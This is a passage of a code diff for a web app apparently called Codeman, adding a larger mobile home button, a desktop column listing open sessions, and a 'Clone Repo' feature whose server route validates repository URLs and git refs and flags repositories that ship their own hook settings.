+       Do not "fix" it with `height: 100%`: the header sets min/max-height and no
+       height, so the percentage has no definite containing block to resolve
+       against and silently falls back to auto. */
   }
 
+  /* The "C" was a 0.85rem inline span — about a 12x13px hit area, far under the
+     44px minimum, on the one control that gets you back to the home screen.
+     It is now a real 44x44 button: 44px wide, and the full height of the phone
+     header, which is itself 44px for exactly this reason. The negative margin
+     spends the header's OWN left padding on the target instead of pushing the
+     tab strip right. */
   .header-brand .logo {
-    font-size: 0.85rem;
+    display: inline-flex;
+    align-items: center;
+    justify-content: center;
+    min-width: 44px;
+    /* Taller than its parent on purpose: centred in the padded brand box, this
+       makes the button fill all 36 header pixels edge to edge. */
+    height: var(--header-height);
+    margin-left: -0.3rem;
+    font-size: 1.15rem;
+    line-height: 1;
+    border-radius: 8px;
+    -webkit-tap-highlight-color: transparent;
+  }
+
+  .header-brand .logo:active {
+    background: rgba(96, 165, 250, 0.16);
   }
 
   .header-brand .logo .logo-text {
@@ -404,8 +441,12 @@ html.mobile-init .file-browser-panel {
     top: 0;
     left: 0;
     right: 0;
-    min-height: 36px;
-    max-height: 36px;
+    min-height: var(--header-height);
+    max-height: var(--header-height);
+    /* styles.css top-aligns header children. That read as centred while the bar
+       was 36px and its contents ~31px; in a 44px bar it leaves a visible gap
+       under everything. */
+    align-items: center;
     padding: 0.15rem 0.3rem;
     padding-left: calc(0.3rem + var(--safe-area-left));
     padding-right: calc(0.3rem + var(--safe-area-right));
@@ -420,8 +461,8 @@ html.mobile-init .file-browser-panel {
   /* iOS safe area adjustment for fixed header - header extends into notch area */
   .ios-device .header {
     padding-top: calc(0.15rem + var(--safe-area-top));
-    min-height: calc(36px + var(--safe-area-top));
-    max-height: calc(36px + var(--safe-area-top));
+    min-height: calc(var(--header-height) + var(--safe-area-top));
+    max-height: calc(var(--header-height) + var(--safe-area-top));
   }
 
   /* Push ALL content below fixed header (not just .main) so banners
@@ -431,11 +472,13 @@ html.mobile-init .file-browser-panel {
      when keyboard is visible, and resetLayout() clears the inline
      style to re-expose this CSS value. */
   .app {
-    padding-top: 42px;
+    /* Header height plus its 1px border and a little slack. Derived from the
+       token so the offset cannot fall out of step with the bar it clears. */
+    padding-top: calc(var(--header-height) + 6px);
   }
 
   .ios-device .app {
-    padding-top: calc(42px + var(--safe-area-top));
+    padding-top: calc(var(--header-height) + 6px + var(--safe-area-top));
   }
 
   .main {
@@ -2690,10 +2733,13 @@ html.mobile-init .file-browser-panel {
   }
 
   /* Same as .session-tab .tab-status: green when the session is fine, and the
-     shared `pulse` keyframes while it is working. */
+     shared `pulse` keyframes while it is working. The halo matches the busy tab
+     dot and the desktop home column (.home-sessions-dot--working, styles.css):
+     working reads identically on every surface or it reads as three features. */
   .mobile-overview-dot--working {
     background: var(--green);
     animation: pulse 1.5s infinite;
+    box-shadow: 0 0 8px 2px color-mix(in srgb, var(--green) 55%, transparent);
     will-change: opacity;
   }
 

src/web/public/session-ui.js

@@ -1772,6 +1772,11 @@ Object.assign(CodemanApp.prototype, {
       const el = document.getElementById(id);
       if (el) el.value = '';
     });
+    this._resetCloneForm();
+    // Cloning needs git ON THE SERVER: hide the whole tab rather than let it fail
+    // at submit. Unknown reads as available (isCliAvailable's rule).
+    const cloneTabBtn = document.getElementById('caseCloneTabBtn');
+    if (cloneTabBtn) cloneTabBtn.style.display = this.isCliAvailable('git') ? '' : 'none';
     // Reset to first tab
     this.caseModalTab = 'case-create';
     this.switchCaseModalTab('case-create');
@@ -1817,15 +1822,19 @@ Object.assign(CodemanApp.prototype, {
       submitBtn.textContent =
         tabName === 'case-create'
           ? 'Create'
-          : tabName === 'case-remote'
-            ? 'Link Remote'
-            : tabName === 'case-docker'
-              ? 'Link Docker'
-              : 'Link';
+          : tabName === 'case-clone'
+            ? 'Clone'
+            : tabName === 'case-remote'
+              ? 'Link Remote'
+              : tabName === 'case-docker'
+                ? 'Link Docker'
+                : 'Link';
     }
     // Focus appropriate input
     if (tabName === 'case-create') {
       document.getElementById('newCaseName').focus();
+    } else if (tabName === 'case-clone') {
+      document.getElementById('cloneRepoUrl').focus();
     } else if (tabName === 'case-link') {
       document.getElementById('linkCaseName').focus();
     } else if (tabName === 'case-remote') {
@@ -1843,10 +1852,16 @@ Object.assign(CodemanApp.prototype, {
     const btn = document.getElementById('caseModalSubmit');
     const originalText = btn.textContent;
     btn.classList.add('loading');
-    btn.textContent = this.caseModalTab === 'case-create' ? 'Creating...' : 'Linking...';
+    btn.textContent =
+      this.caseModalTab === 'case-create' ? 'Creating...' : this.caseModalTab === 'case-clone' ? 'Cloning...' : 'Linking...';
+    // A clone holds this request open for minutes; without disabling the button a
+    // second click fires a second clone (the loser then fails on ALREADY_EXISTS).
+    btn.disabled = true;
     try {
       if (this.caseModalTab === 'case-create') {
         await this.createCase();
+      } else if (this.caseModalTab === 'case-clone') {
+        await this.cloneCase();
       } else if (this.caseModalTab === 'case-remote') {
         await this.linkRemoteCase();
       } else if (this.caseModalTab === 'case-docker') {
@@ -1856,6 +1871,7 @@ Object.assign(CodemanApp.prototype, {
       }
     } finally {
       btn.classList.remove('loading');
+      btn.disabled = false;
       btn.textContent = originalText;
     }
   },
@@ -1997,6 +2013,231 @@ Object.assign(CodemanApp.prototype, {
     }
   },
 
+  // ═══════════════════════════════════════════════════════════════
+  // Clone Repo tab (issue #236)
+  // ═══════════════════════════════════════════════════════════════
+
+  /** Clear the Clone tab and drop any preflight state. Called from showCreateCaseModal(). */
+  _resetCloneForm() {
+    const set = (id, value) => {
+      const el = document.getElementById(id);
+      if (el) el.value = value;
+    };
+    set('cloneRepoUrl', '');
+    set('cloneCaseName', '');
+    set('cloneRepoRef', '');
+    const shallow = document.getElementById('cloneShallow');
+    if (shallow) shallow.checked = false;
+    const start = document.getElementById('cloneStartSession');
+    if (start) start.checked = false;
+    const refs = document.getElementById('cloneRepoRefOptions');
+    if (refs) refs.replaceChildren();
+    const refHint = document.getElementById('cloneRefHint');
+    if (refHint) refHint.textContent = "Leave blank for the repository's default branch.";
+    this._cloneNameEdited = false;
+    this._clonePreflight = null;
+    clearTimeout(this._clonePreflightTimer);
+    this._clonePreflightAbort?.abort();
+    this._clonePreflightAbort = null;
+    this._setCloneStatus('Public repositories only: Codeman clones with no credentials.', '');
+    // The brain picker mirrors the toolbar run menu: never offer a CLI this box
+    // lacks (#201's rule), and preselect whatever Run is currently pointing at.
+    const brain = document.getElementById('cloneCaseBrain');
+    if (brain) {
+      for (const option of brain.options) {
+        const cli = option.dataset.cli;
+        option.hidden = !!cli && !this.isCliAvailable(cli);
+      }
+      const current = this.runMode || 'claude';
+      brain.value = [...brain.options].some((o) => o.value === current && !o.hidden) ? current : '';
+    }
+  },
+
+  _setCloneStatus(message, kind) {
+    const el = document.getElementById('cloneRepoStatus');
+    if (!el) return;
+    el.textContent = message;
+    el.className = `form-hint clone-status${kind ? ' clone-status-' + kind : ''}`;
+  },
+
+  /**
+   * Best-effort repo name out of a URL, for filling the case name as you type.
+   *
+   * Deliberately a THIN mirror of `suggestCaseNameFromRepo` (git-clone.ts) rather
+   * than a second URL parser: it only ever suggests a name, and the server's parse
+   * is the authority on whether the URL is cloneable at all. The preflight reply
+   * overwrites whatever this guessed.
+   */
+  _repoNameFromUrl(url) {
+    const trimmed = (url || '').trim().replace(/\/+$/, '');
+    if (!trimmed) return '';
+    const segment = trimmed
+      .replace(/^[a-zA-Z][a-zA-Z0-9+.-]*:\/\//, '')
+      .replace(/^[^@/]*@/, '')
+      .split(/[/:]/)
+      .filter(Boolean)
+      .pop() || '';
+    return segment
+      .replace(/\.git$/i, '')
+      .replace(/[^a-zA-Z0-9_-]+/g, '-')
+      .replace(/-{2,}/g, '-')
+      .replace(/^[-_]+|[-_]+$/g, '')
+      .slice(0, 64);
+  },
+
+  onCloneNameEdited() {
+    // Once the user types a name, autofill stops fighting them.
+    this._cloneNameEdited = !!document.getElementById('cloneCaseName')?.value.trim();
+  },
+
+  onCloneUrlInput() {
+    const url = document.getElementById('cloneRepoUrl')?.value.trim() || '';
+    const nameInput = document.getElementById('cloneCaseName');
+    if (nameInput && !this._cloneNameEdited) nameInput.value = this._repoNameFromUrl(url);
+    clearTimeout(this._clonePreflightTimer);
+    this._clonePreflightAbort?.abort();
+    this._clonePreflightAbort = null;
+    if (!url) {
+      this._setCloneStatus('Public repositories only: Codeman clones with no credentials.', '');
+      return;
+    }
+    if (this.isCliAvailable('git') === false) {
+      this._setCloneStatus('git is not installed on the Codeman host, so cloning is unavailable.', 'err');
+      return;
+    }
+    this._setCloneStatus('Checking the repository…', '');
+    this._clonePreflightTimer = setTimeout(() => this._runClonePreflight(url), 450);
+  },
+
+  /**
+   * Ask the server to parse the URL and (if it survives) query the remote, so the
+   * user learns "private repo" / "typo" / "3 tags" BEFORE waiting on a clone.
+   * Stale replies are dropped: only the response for the URL currently in the
+   * field is allowed to paint.
+   */
+  async _runClonePreflight(url) {
+    const controller = new AbortController();
+    this._clonePreflightAbort = controller;
+    try {
+      const res = await fetch('/api/cases/clone-preflight', {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/json' },
+        body: JSON.stringify({ repository: url }),
+        signal: controller.signal,
+      });
+      const env = await res.json();
+      if (document.getElementById('cloneRepoUrl')?.value.trim() !== url) return;
+      if (!env.success) {
+        this._setCloneStatus(env.error || 'Could not check that URL.', 'err');
+        return;
+      }
+      this._applyClonePreflight(env.data, url);
+    } catch (err) {
+      if (err.name === 'AbortError') return;
+      this._setCloneStatus('Could not reach Codeman to check that URL.', 'err');
+    }
+  },
+
+  _applyClonePreflight(data, url) {
+    this._clonePreflight = data;
+    const parse = data?.parse;
+    if (!parse?.cloneable) {
+      this._setCloneStatus(parse?.message || 'That URL cannot be cloned.', 'err');
+      return;
+    }
+    // The server's suggestion wins over the local guess (it is the same function
+    // the case name is validated against), but never over a name the user typed.
+    const nameInput = document.getElementById('cloneCaseName');
+    if (nameInput && !this._cloneNameEdited && parse.suggestedName) nameInput.value = parse.suggestedName;
+
+    const where = parse.owner ? `${parse.provider} ${parse.owner}/${parse.repo}` : `${parse.provider} ${parse.repo}`;
+    if (data.gitAvailable === false) {
+      this._setCloneStatus(`${where}: git is not installed on the Codeman host.`, 'err');
+      return;
+    }
+    const remote = data.remote;
+    if (remote && !remote.reachable) {
+      this._setCloneStatus(`${where}: ${remote.failure?.message || 'the remote could not be read.'}`, 'err');
+      return;
+    }
+    const refHint = document.getElementById('cloneRefHint');
+    const options = document.getElementById('cloneRepoRefOptions');
+    if (remote && options) {
+      options.replaceChildren();
+      for (const ref of [...(remote.branches || []), ...(remote.tags || [])]) {
+        const option = document.createElement('option');
+        option.value = ref;
+        options.appendChild(option);
+      }
+      if (refHint) {
+        const counts = `${remote.branches?.length || 0} branches, ${remote.tags?.length || 0} tags`;
+        refHint.textContent = remote.defaultBranch
+          ? `Blank clones the default branch (${remote.defaultBranch}). ${counts} available.`
+          : `Blank clones the default branch. ${counts} available.`;
+      }
+    }
+    const warning = parse.warnings?.[0];
+    this._setCloneStatus(warning ? `${where}: ${warning}` : `${where}: ready to clone.`, warning ? 'warn' : 'ok');
+  },
+
+  async cloneCase() {
+    const url = document.getElementById('cloneRepoUrl').value.trim();
+    const name = document.getElementById('cloneCaseName').value.trim();
+    const ref = document.getElementById('cloneRepoRef').value.trim();
+    const shallow = !!document.getElementById('cloneShallow')?.checked;
+    const brain = document.getElementById('cloneCaseBrain')?.value || '';
+    const startSession = !!document.getElementById('cloneStartSession')?.checked;
+
+    if (!url) {
+      this.showToast('Please enter a repository URL', 'error');
+      return;
+    }
+    if (!name) {
+      this.showToast('Please enter a case name', 'error');
+      return;
+    }
+    if (!/^[a-zA-Z0-9_-]+$/.test(name)) {
+      this.showToast('Invalid name. Use only letters, numbers, hyphens, underscores.', 'error');
+      return;
+    }
+
+    this._setCloneStatus(`Cloning ${url}… this can take a while for a large repository.`, '');
+    try {
+      const res = await fetch('/api/cases/clone', {
+        method: 'POST',
+        headers: { 'Content-Type': 'application/json' },
+        // Zod `.optional()` rejects an explicit null, and JSON.stringify keeps one
+        // on the wire — omit the empty fields instead of sending null.
+        body: JSON.stringify({ name, repository: url, ...(ref ? { ref } : {}), ...(shallow ? { shallow: true } : {}) }),
+      });
+      const data = await res.json();
+      if (!data.success) {
+        this._setCloneStatus(data.error || 'Clone failed.', 'err');
+        this.showToast(data.error || 'Failed to clone repository', 'error');
+        return;
+      }
+
+      // Setting the brain before the tab closes means the Run button is already
+      // pointing at the chosen CLI, whether or not a session starts now.
+      if (brain) this.setRunMode(brain);
+      this.closeCreateCaseModal();
+      await this.loadQuickStartCases(name);
+      await this.saveLastUsedCase(name);
+      this.showToast(`Cloned into case "${name}"`, 'success');
+      for (const warning of data.data?.warnings || []) this.showToast(warning, 'warning');
+      if (startSession) await this.run();
+    } catch (err) {
+      // A proxy/idle timeout can kill the request while git keeps going: the
+      // case:created broadcast is what makes the case show up regardless.
+      console.error('Failed to clone repository:', err);
+      this._setCloneStatus(
+        `Lost the connection while cloning: ${err.message}. If git finishes, the case still appears in the list.`,
+        'warn'
+      );
+      this.showToast('Clone request interrupted — watch the case list', 'error');
+    }
+  },
+
   openLinkCasePathPicker() {
     const pathInput = document.getElementById('linkCasePath');
     PathPicker.open({

src/web/public/styles.css

@@ -5323,6 +5323,22 @@ body.touch-device .terminal-container .xterm .xterm-helper-textarea {
   margin-top: 0.35rem;
 }
 
+/* Clone Repo tab (issue #236): live verdict on the URL being typed. Semantic
+   tokens, so light skins inherit readable variants automatically. */
+.clone-status {
+  min-height: 1.6em;
+  overflow-wrap: anywhere;
+}
+.clone-status-ok {
+  color: var(--green);
+}
+.clone-status-warn {
+  color: var(--yellow);
+}
+.clone-status-err {
+  color: var(--red);
+}
+
 /* Preset selector */
 .preset-selector {
   display: flex;
@@ -13922,3 +13938,299 @@ html[data-skin="daylight-blue"] .welcome-btn-tunnel.active:hover {
   color: #8b93a1;
   min-height: 1em;
 }
+
+/* ══════════════════════════════════════════════════════════════════════════
+   Home screen: open tabs in the left gutter (home-sessions.js)
+
+   The welcome content is 560px wide and centered, so this column lives in dead
+   space. It is `position: absolute` precisely so that stays true: the centered
+   content does not move by a pixel whether the column renders or not. That in
+   turn is why the width gate below has to exist — in a narrow window there is
+   no gutter to sit in, and an absolute box would simply overlap the search
+   panel. JS gates on the same 1180px so the two can never disagree.
+
+   The working dot is the phone's, exactly: pulsing green ringed by the very
+   same `tab-load-spin` a tab shows while it loads (reused from above, never
+   re-declared), plus a green halo. One signal, one motion, both home screens.
+   ══════════════════════════════════════════════════════════════════════════ */
+
+.home-sessions {
+  position: absolute;
+  left: 20px;
+  top: 50%;
+  transform: translateY(-50%);
+  display: flex;
+  flex-direction: column;
+  gap: 8px;
+  width: 256px;
+  max-height: calc(100% - 3rem);
+  text-align: left;
+  z-index: 1;
+}
+
+/* `hidden` has to be re-asserted over the display above, or the module's only
+   lever (el.hidden) does nothing. */
+.home-sessions[hidden] {
+  display: none;
+}
+
+/* Belt and braces with shouldShowHomeSessions(): a resize that outruns the
+   matchMedia listener must never leave the column overlapping the content. */
+@media (max-width: 1179px) {
+  .home-sessions {
+    display: none !important;
+  }
+}
+
+.home-sessions-header {
+  display: flex;
+  align-items: center;
+  gap: 8px;
+  padding: 0 6px;
+}
+
+.home-sessions-title {
+  font-size: 0.66rem;
+  font-weight: 700;
+  letter-spacing: 0.12em;
+  text-transform: uppercase;
+  color: var(--text-muted);
+}
+
+.home-sessions-count {
+  display: inline-flex;
+  align-items: center;
+  justify-content: center;
+  min-width: 18px;
+  height: 16px;
+  padding: 0 5px;
+  border-radius: 999px;
+  background: var(--bg-input);
+  border: 1px solid var(--border);
+  color: var(--text-dim);
+  font-size: 0.6rem;
+  font-weight: 700;
+  font-family: monospace;
+}
+
+.home-sessions-list {
+  display: flex;
+  flex-direction: column;
+  gap: 4px;
+  overflow-y: auto;
+  overflow-x: hidden;
+  padding: 2px 2px 6px;
+}
+
+.home-sessions-list::-webkit-scrollbar {
+  width: 4px;
+}
+
+.home-sessions-list::-webkit-scrollbar-thumb {
+  background: var(--border);
+  border-radius: 2px;
+}
+
+.home-sessions-row {
+  display: flex;
+  align-items: center;
+  gap: 8px;
+  width: 100%;
+  padding: 7px 9px;
+  border-radius: 9px;
+  background: var(--bg-card);
+  border: 1px solid var(--border);
+  color: var(--text-dim);
+  font-family: inherit;
+  font-size: 0.76rem;
+  text-align: left;
+  cursor: pointer;
+  transition: background var(--transition-smooth), border-color var(--transition-smooth), color var(--transition-smooth);
+}
+
+.home-sessions-row:hover {
+  background: var(--bg-hover);
+  border-color: rgba(34, 197, 94, 0.35);
+  color: var(--text);
+}
+
+.home-sessions-row:active {
+  background: rgba(34, 197, 94, 0.12);
+}
+
+.home-sessions-number {
+  display: inline-flex;
+  align-items: center;
+  justify-content: center;
+  width: 15px;
+  height: 15px;
+  flex-shrink: 0;
+  border-radius: 3px;
+  background: var(--bg-input);
+  border: 1px solid var(--border);
+  color: var(--text-muted);
+  font-size: 0.58rem;
+  font-weight: 700;
+  font-family: monospace;
+}
+
+.home-sessions-dot {
+  position: relative;
+  flex-shrink: 0;
+  width: 9px;
+  height: 9px;
+  border-radius: 50%;
+  background: var(--text-muted);
+}
+
+.home-sessions-dot--needs,
+.home-sessions-dot--error {
+  background: var(--red);
+}
+
+.home-sessions-dot--waiting {
+  background: var(--yellow);
+}
+
+.home-sessions-dot--idle {
+  background: var(--green);
+}
+
+.home-sessions-dot--done {
+  background: var(--text-muted);
+  opacity: 0.5;
+}
+
+.home-sessions-dot--web {
+  background: #60a5fa;
+}
+
+.home-sessions-dot--working {
+  background: var(--green);
+  animation: pulse 1.5s infinite;
+  box-shadow: 0 0 8px 2px color-mix(in srgb, var(--green) 55%, transparent);
+  will-change: opacity;
+}
+
+.home-sessions-dot--working::after {
+  content: '';
+  position: absolute;
+  inset: -4px;
+  border: 2px solid color-mix(in srgb, var(--green) 25%, transparent);
+  border-top-color: var(--green);
+  border-radius: 50%;
+  animation: tab-load-spin 0.7s linear infinite;
+}
+
+.home-sessions-row-body {
+  display: flex;
+  flex-direction: column;
+  gap: 1px;
+  min-width: 0;
+  flex: 1;
+}
+
+.home-sessions-row-title {
+  display: flex;
+  align-items: center;
+  gap: 5px;
+  min-width: 0;
+  color: var(--text);
+  font-weight: 600;
+}
+
+.home-sessions-row-title .session-name {
+  overflow: hidden;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+}
+
+.home-sessions-row-sub {
+  font-size: 0.66rem;
+  color: var(--text-muted);
+  overflow: hidden;
+  text-overflow: ellipsis;
+  white-space: nowrap;
+}
+
+.home-sessions-mode {
+  flex-shrink: 0;
+  padding: 0 4px;
+  border-radius: 3px;
+  background: var(--bg-input);
+  border: 1px solid var(--border);
+  color: var(--text-muted);
+  font-size: 0.55rem;
+  font-weight: 700;
+  font-family: monospace;
+  text-transform: uppercase;
+}
+
+.home-sessions-pill {
+  flex-shrink: 0;
+  padding: 2px 6px;
+  border-radius: 999px;
+  background: var(--bg-input);
+  border: 1px solid var(--border);
+  color: var(--text-muted);
+  font-size: 0.58rem;
+  font-weight: 700;
+  letter-spacing: 0.02em;
+  white-space: nowrap;
+}
+
+.home-sessions-pill--needs,
+.home-sessions-pill--error {
+  background: color-mix(in srgb, var(--red) 18%, transparent);
+  border-color: color-mix(in srgb, var(--red) 45%, transparent);
+  color: var(--red);
+}
+
+.home-sessions-pill--waiting {
+  background: color-mix(in srgb, var(--yellow) 18%, transparent);
+  border-color: color-mix(in srgb, var(--yellow) 45%, transparent);
+  color: var(--yellow);
+}
+
+.home-sessions-pill--working,
+.home-sessions-pill--idle {
+  background: color-mix(in srgb, var(--green) 15%, transparent);
+  border-color: color-mix(in srgb, var(--green) 40%, transparent);
+  color: var(--green);
+}
+
+/* Row accents: same language as the session tabs and the phone overview — red
+   means a question is pending, yellow means it wants input, green means work is
+   happening. Nothing else on this screen may reuse these colors. */
+.home-sessions-row--needs,
+.home-sessions-row--error {
+  border-color: color-mix(in srgb, var(--red) 50%, transparent);
+  animation: home-sessions-blink-red 2.5s ease-in-out infinite;
+}
+
+.home-sessions-row--waiting {
+  border-color: color-mix(in srgb, var(--yellow) 50%, transparent);
+  animation: home-sessions-blink-yellow 3.5s ease-in-out infinite;
+}
+
+.home-sessions-row--working {
+  border-color: color-mix(in srgb, var(--green) 35%, transparent);
+}
+
+@keyframes home-sessions-blink-red {
+  0%, 100% { border-color: color-mix(in srgb, var(--red) 50%, transparent); }
+  50% { border-color: color-mix(in srgb, var(--red) 95%, transparent); }
+}
+
+@keyframes home-sessions-blink-yellow {
+  0%, 100% { border-color: color-mix(in srgb, var(--yellow) 45%, transparent); }
+  50% { border-color: color-mix(in srgb, var(--yellow) 90%, transparent); }
+}
+
+@media (prefers-reduced-motion: reduce) {
+  .home-sessions-row,
+  .home-sessions-dot,
+  .home-sessions-dot::after {
+    animation: none !important;
+  }
+}

src/web/public/terminal-ui.js

@@ -1427,6 +1427,7 @@ Object.assign(CodemanApp.prototype, {
     if (this.shouldUseMobileOverview?.()) {
       const overlay = document.getElementById('welcomeOverlay');
       if (overlay) overlay.classList.remove('visible');
+      this.hideHomeSessions?.();
       this.showMobileOverview();
       this._updateCjkInputState?.();
       return;
@@ -1439,6 +1440,9 @@ Object.assign(CodemanApp.prototype, {
       this.applyWelcomeCliVisibility();
       this.loadHistorySessions();
       this.initSearchPanel();
+      // Open tabs down the left gutter. Self-gating: a window too narrow to hold
+      // the column without overlapping the content leaves it hidden.
+      this.showHomeSessions?.();
     }
     // Home screen has no input target — hide the CJK textarea (activeSessionId
     // is null by the time we get here). Guarded: defined on the app object.
@@ -1447,6 +1451,7 @@ Object.assign(CodemanApp.prototype, {
 
   hideWelcome() {
     this.hideMobileOverview?.();
+    this.hideHomeSessions?.();
     const overlay = document.getElementById('welcomeOverlay');
     if (overlay) {
       overlay.classList.remove('visible');

src/web/routes/case-routes.ts

@@ -1,11 +1,13 @@
 /**
  * @fileoverview Case management routes.
  * Handles CRUD for cases (directories under ~/codeman-cases and linked folders),
- * fix-plan reading, and ralph-wizard file serving.
+ * cloning a repository into a new case (`/api/cases/clone` + `/clone-preflight`,
+ * issue #236 — the URL-safety rules live in `src/git-clone.ts`), fix-plan reading,
+ * and ralph-wizard file serving.
  */
 
 import { FastifyInstance } from 'fastify';
-import { existsSync, mkdirSync, writeFileSync, readdirSync, readFileSync, createReadStream } from 'node:fs';
+import { existsSync, lstatSync, mkdirSync, writeFileSync, readdirSync, readFileSync, createReadStream } from 'node:fs';
 import { exec } from 'node:child_process';
 import fs from 'node:fs/promises';
 import { join, resolve, basename } from 'node:path';
@@ -15,6 +17,8 @@ import type { ApiResponse, CaseInfo, DockerHost, RemoteSessionInfo, SessionDocke
 import { ApiErrorCode, createErrorResponse, getErrorMessage } from '../../types.js';
 import {
   CreateCaseSchema,
+  CloneCaseSchema,
+  ClonePreflightSchema,
   LinkCaseSchema,
   CaseOrderSchema,
   RemoteCaseLinkSchema,
@@ -26,8 +30,16 @@ import {
   DockerQuickCreateSchema,
 } from '../schemas.js';
 import { exportDockerCase, importDockerBundle, listDockerExports, exportBundleName } from '../../docker-export.js';
+import {
+  cloneRepository,
+  isGitAvailable,
+  isSafeGitRef,
+  parseGitRepositoryUrl,
+  probeGitRemote,
+} from '../../git-clone.js';
+import type { GitRemoteProbe, GitUrlParse } from '../../git-clone.js';
 import { generateClaudeMd } from '../../templates/claude-md.js';
-import { writeHooksConfig } from '../../hooks-config.js';
+import { settingsWriteBlocker, writeHooksConfig } from '../../hooks-config.js';
 import {
   canAccessOwned,
   getAuthUser,
@@ -89,6 +101,41 @@ const APP_VERSION = (() => {
   }
 })();
 
+/**
+ * Refusal text for a `local`-transport clone by a non-admin in multi-user mode.
+ * Per-user case spaces live inside one $HOME, so cloning from an absolute path
+ * would copy another user's workspace into the caller's own (the same escape
+ * `/api/cases/link` is admin-only for).
+ */
+const LOCAL_CLONE_ADMIN_ONLY =
+  'Cloning from a local path is admin-only in multi-user mode. Use a repository URL instead.';
+
+/**
+ * The one line of git's stderr worth appending to an error message.
+ *
+ * NOT the first line: `git clone` opens with "Cloning into '<dest>'…", so a naive
+ * first-line pick reported the destination path as the reason a bad branch failed
+ * (observed against a real remote). Prefer the LAST diagnostic line
+ * (`fatal:`/`error:`/`remote:`), which is where git puts the actual cause.
+ */
+function gitDiagnosticLine(stderr: string): string {
+  const lines = stderr
+    .split('\n')
+    .map((l) => l.trim())
+    .filter(Boolean);
+  const line = [...lines].reverse().find((l) => /^(fatal|error|remote|warning):/i.test(l)) ?? lines.at(-1) ?? '';
+  return line.length > 200 ? `${line.slice(0, 200)}…` : line;
+}
+
+/**
+ * Does the freshly cloned tree carry its own Claude settings? Those can contain
+ * hooks, which run on the user's machine when a session starts in the case, so
+ * the clone response says so out loud instead of silently merging into them.
+ */
+function repoShipsClaudeSettings(casePath: string): boolean {
+  return ['settings.json', 'settings.local.json'].some((file) => existsSync(join(casePath, '.claude', file)));
+}
+
 /** Read and parse linked-cases.json, returning empty object on missing/invalid file. */
 async function readLinkedCases(): Promise<Record<string, string>> {
   return readJsonConfig<Record<string, string>>(LINKED_CASES_FILE, 'linked cases', {});
@@ -301,6 +348,197 @@ export function registerCaseRoutes(app: FastifyInstance, ctx: EventPort & Config
     }
   });
 
+  // ========== Clone a repository as a case (issue #236) ==========
+
+  /**
+   * Ask a remote what it has, without cloning anything.
+   *
+   * Two jobs: tell the user whether the URL they typed can be cloned *anonymously*
+   * (Codeman supplies no credentials, so "private" and "typo" both have to be
+   * distinguishable from "fine"), and hand back the branch/tag lists so the ref
+   * field is a picker instead of a guess.
+   *
+   * Always 200 with `reachable: false` on a dead remote — an unreachable URL is a
+   * normal answer to a preflight, not a server error, and the UI renders the reason.
+   */
+  app.post(
+    '/api/cases/clone-preflight',
+    async (
+      req,
+      reply
+    ): Promise<ApiResponse<{ parse: GitUrlParse; remote?: GitRemoteProbe; gitAvailable: boolean }>> => {
+      const { repository } = parseBody(ClonePreflightSchema, req.body);
+      const parsed = parseGitRepositoryUrl(repository);
+      if (!parsed.cloneable) {
+        return { success: true, data: { parse: parsed, gitAvailable: isGitAvailable() } };
+      }
+      if (parsed.transport === 'local' && isMultiUserMode() && !isAdmin(req)) {
+        reply.code(403);
+        return createErrorResponse(ApiErrorCode.FORBIDDEN, LOCAL_CLONE_ADMIN_ONLY);
+      }
+      if (!isGitAvailable()) {
+        return { success: true, data: { parse: parsed, gitAvailable: false } };
+      }
+      const remote = await probeGitRemote(parsed.repository);
+      return { success: true, data: { parse: parsed, remote, gitAvailable: true } };
+    }
+  );
+
+  /**
+   * Clone a repository into the caller's case space and register it as a normal
+   * local case (issue #236).
+   *
+   * SYNCHRONOUS by design for v1: the request stays open for the whole clone
+   * (bounded by `GIT_CLONE_TIMEOUT_MS`), so there is no job store, no polling and
+   * no cancellation surface to get wrong. The `case:created` broadcast is what
+   * makes that safe behind a proxy with its own idle timeout — a client whose
+   * request died mid-clone still sees the case appear over SSE when git finishes.
+   *
+   * Deliberately NOT admin-gated in multi-user mode: unlike `/api/cases/link`,
+   * this writes only inside the caller's own `resolveCasesDir`. The one exception
+   * is a `local`-transport source, which would read through that boundary.
+   *
+   * Repository contents win over scaffolding: an existing CLAUDE.md is left
+   * alone, and hooks are MERGED into whatever `.claude/settings.local.json` the
+   * repo ships (`writeHooksConfig` preserves non-Codeman handlers). A repo that
+   * ships its own hooks is reported back as a warning, because those run on the
+   * user's machine the moment a session starts in the case.
+   */
+  app.post(
+    '/api/cases/clone',
+    async (
+      req,
+      reply
+    ): Promise<
+      ApiResponse<{
+        case: { name: string; path: string };
+        repository: string;
+        ref?: string;
+        provider: string;
+        warnings: string[];
+      }>
+    > => {
+      const { name, repository, ref, shallow, description } = parseBody(CloneCaseSchema, req.body);
+      const user = getAuthUser(req);
+
+      const parsed = parseGitRepositoryUrl(repository);
+      if (!parsed.cloneable) return createErrorResponse(ApiErrorCode.INVALID_INPUT, parsed.message);
+      if (ref && !isSafeGitRef(ref)) {
+        return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Invalid branch or tag name');
+      }
+      if (parsed.transport === 'local' && isMultiUserMode() && !isAdmin(req)) {
+        reply.code(403);
+        return createErrorResponse(ApiErrorCode.FORBIDDEN, LOCAL_CLONE_ADMIN_ONLY);
+      }
+      if (!isGitAvailable()) {
+        return createErrorResponse(
+          ApiErrorCode.OPERATION_FAILED,
+          'git is not installed on this machine (or not on the server’s PATH).'
+        );
+      }
+
+      const casesDir = resolveCasesDir(user);
+      const casePath = validatePathWithinBase(name, casesDir);
+      if (!casePath) return createErrorResponse(ApiErrorCode.INVALID_INPUT, 'Invalid case path');
+
+      // Reject a duplicate name across EVERY case kind before invoking git, so a
+      // clone can never be the thing that discovers the collision (it would have
+      // spent minutes of network first, and git's own error is about a directory).
+      const linkedCases = await readLinkedCases();
+      const dockerCases = await readDockerCases(CODEMAN_CONFIG_DIR);
+      const remoteCases = await readRemoteCases(CODEMAN_CONFIG_DIR);
+      if (
+        existsSync(casePath) ||
+        linkedCases[name] ||
+        dockerCases.some((item) => item.name === name) ||
+        remoteCases.some((item) => item.name === name)
+      ) {
+        return createErrorResponse(ApiErrorCode.ALREADY_EXISTS, 'Case already exists');
+      }
+
+      // git creates the leaf, not necessarily the case space above it.
+      try {
+        mkdirSync(casesDir, { recursive: true });
+      } catch (err) {
+        return createErrorResponse(ApiErrorCode.OPERATION_FAILED, getErrorMessage(err));
+      }
+
+      const clone = await cloneRepository({
+        repository: parsed.repository,
+        destination: casePath,
+        ...(ref ? { ref } : {}),
+        ...(shallow ? { shallow: true } : {}),
+      });
+      if (!clone.ok) {
+        const code =
